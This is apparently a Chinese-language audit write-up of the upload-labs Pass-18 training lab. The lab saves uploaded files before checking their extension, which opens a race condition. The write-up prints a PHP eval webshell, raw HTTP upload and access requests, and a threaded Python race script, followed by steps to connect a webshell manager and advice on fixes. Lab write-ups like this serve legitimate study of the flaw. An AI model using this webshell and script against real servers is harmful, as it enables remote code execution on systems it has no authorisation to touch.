upload-labs_Pass-18_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-18
漏洞类型 条件竞争 / 上传后删除前的时间窗口绕过
审计日期 2026-08-09
目标文件 Pass-18/index.php

二、漏洞概述

Pass-18 先将上传文件移动到目标目录(使用原始文件名),然后再检查文件扩展名。如果扩展名不在白名单(jpgpnggif)中,则删除该文件。由于“移动文件”和“删除文件”之间存在时间窗口,攻击者可以利用条件竞争(Race Condition),在文件被删除前快速访问该文件,从而执行 PHP 代码。

  • 危险等级:高危
  • 影响范围:网络条件良好时可执行任意 PHP 代码

三、问题代码位置

文件路径Pass-18/index.php

问题代码片段(第 8-28 行)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

四、漏洞分析

4.1 为什么存在这个问题

代码的执行顺序是:

  1. move_uploaded_file() 先将文件保存到 upload/原始文件名
  2. 然后才检查 $file_ext 是否在白名单中。
  3. 如果不在白名单,调用 unlink() 删除。

在步骤 1 和步骤 3 之间存在一个短暂的时间窗口。如果攻击者上传 shell.php,该文件会被立即保存为 upload/shell.php。在服务端执行 unlink() 之前,攻击者发起对 upload/shell.php 的访问请求,即可执行 PHP 代码。即使文件随后被删除,也可能已经执行完毕或留下其他痕迹。

4.2 校验逻辑缺陷

  • 先保存后校验,存在时间窗口。
  • 未对保存路径进行隔离或临时目录处理。
  • 原始文件名完全可控,便于攻击者预测访问 URL。

五、利用思路

  1. 使用并发工具或脚本持续上传 shell.php
  2. 同时持续发送 GET 请求访问 upload/shell.php
  3. 在某个请求命中文件未被删除的时间窗口时,PHP 代码执行成功。
  4. 可让 WebShell 执行后写入一个持久化文件,避免依赖竞争窗口。

六、POC(Yakit 可直接重放 / 配合并发脚本)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-18/index.php
  • 网络延迟较低,便于竞争成功
  • WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放上传请求

POST /upload-labs/Pass-18/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 并发访问请求

在 Yakit 中使用 Web Fuzzer 或 Intruder 持续发送以下 GET 请求,与上传请求并发执行:

GET /upload-labs/upload/shell.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close

6.4 自动化竞争脚本(Python 示例)

import requests
import threading

upload_url = 'http://target.com/upload-labs/Pass-18/index.php'
shell_url = 'http://target.com/upload-labs/upload/shell.php'

files = {'upload_file': ('shell.php', b'<?php @eval($_POST[\'cmd\']); ?>', 'application/octet-stream')}
data = {'submit': '上传'}

def upload():
    while True:
        try:
            requests.post(upload_url, files=files, data=data, timeout=2)
        except:
            pass

def access():
    while True:
        try:
            r = requests.get(shell_url, timeout=2)
            if r.status_code == 200:
                print('[+] Shell accessed!')
                break
        except:
            pass

for _ in range(5):
    threading.Thread(target=upload).start()
for _ in range(10):
    threading.Thread(target=access).start()

6.5 利用步骤

  1. 在 Yakit 中新建上传请求并持续重放。
  2. 同时新建 GET 请求访问 upload/shell.php 并持续重放。
  3. 当某个 GET 请求命中时间窗口时,返回 200 并执行 PHP 代码。
  4. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 先校验后保存:在调用 move_uploaded_file() 之前完成所有安全校验。
  2. 使用临时目录:先将文件保存到临时目录,校验通过后再移动到正式上传目录。
  3. 重命名文件:使用随机文件名,避免原始文件名被预测。
  4. 上传目录禁止脚本执行:从 Web 服务器层限制解析。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部